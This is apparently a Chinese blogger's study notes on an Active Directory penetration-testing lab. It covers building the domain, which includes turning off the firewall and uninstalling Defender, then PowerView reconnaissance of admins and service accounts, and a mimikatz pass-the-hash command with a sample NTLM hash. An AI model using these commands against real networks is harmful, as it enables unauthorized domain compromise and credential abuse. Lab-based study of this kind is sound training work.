学习的开源项目是:
https://github.com/cfalta/adsec
有些地方是直接Google 翻译过来的。
注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!!
Lab Setup – 域环境搭建
学习的过程中,最难的就是环境搭建了。(因为有些坑,别人不一定遇到,么有地方可以问,然后有些问题就离谱。。)
物理机:MacBookPro 2020 Intel i5
虚拟机:Vmware Fusion Windows Server 2019 * 3
域成员用户密码:P@ssw0rd123!(00和01)
域机器本地管理员密码:P@ssw0rd123!@#(P@ssw0rd123!!!)
域控机器管理员密码:P@ssw0rd123!!!
密码随便自己设置符合要求就可以,这里列出来只是害怕忘记了。
搭建一个域控,两台域成员机器,然后能ping通就好了。
Configure the following steps on every VM:
Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender
在两台成员机器上用, john P@ssw0rd/blee TekkenIsAwesome! 来认证加入域。
![
攻击机器环境搭建
](https://img-blog.csdnimg.cn/6165c2c1457a4ba6b126109021b23421.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)
该环境是假设john这台ADSEC-00 被攻破了,作为入口来进行AD域渗透。因为要通过powershell 脚本来安装攻击的工具,所以需要再分配一张网卡,让这台机器出网。
neo4j 图数据库安装
https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe
https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
BloodHound
Exercise 1 – Reconnaissance(域信息搜集)
这里主要是用的PowerView,
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
首先是导入PowerView模块,
cat -raw “.\PowerView.ps1” | iex
域内基础信息和域控信息
比如域名、域控ip、域控的操作系统版本等
获取所有域计算机和用户
注意:通常情况下需要过滤,因为真实的域环境中会有大量结果。
Get-DomainComputer
过滤域管:
Get-DomainUser|?{$_.memberof -like “Domain Admins”} | select
samaccountname
只显示用户名:
在这里插入图片描述
获取所有域计算机,但仅显示名称、DNS 名称和创建日期,并以表格形式显示
Get-DomainComputer | select samaccountname,dnshostname,whencreated |
Format-Table
获取自定义用户组
Get-DomainGroup | ? { $.distinguishedname -notlike “CN=Users” -and
$.distinguishedname -notlike “CN=Builtin”} | select
samaccountname,description
第一章问题
(主要就是熟悉PowerView的相关用法,Powershell查询语法)
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon
域中有多少台计算机以及它们在什么操作系统上运行?
域中有多少用户对象?编写一个 powershell 查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改
您能识别任何自定义管理组吗?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
Get-DomainGroup | ? { $.distinguishedname -like “CN=Manage” -or
$.distinguishedname -like “CN=admin”} | select
samaccountname,description
谁是您找到的自定义管理员组的成员,他最后一次设置密码是什么时候?
想出识别域中服务帐户的简单方法吗?编写一个 powershell 查询,根据您提出的模式列出所有服务帐户。
Get-DomainUser -SPN |select
serviceprincipalname,userprincipalname,pwdlastset,lastlogon
Exercise 2 – NTLM (Pass-the-Hash)【哈希传递攻击】
工具:
mimikatz
psexec
获取到管理员的hash,37bef461dec3d4cb748209d3c3185132
然后pth,
sekurlsa::pth /user:Administrator
/ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com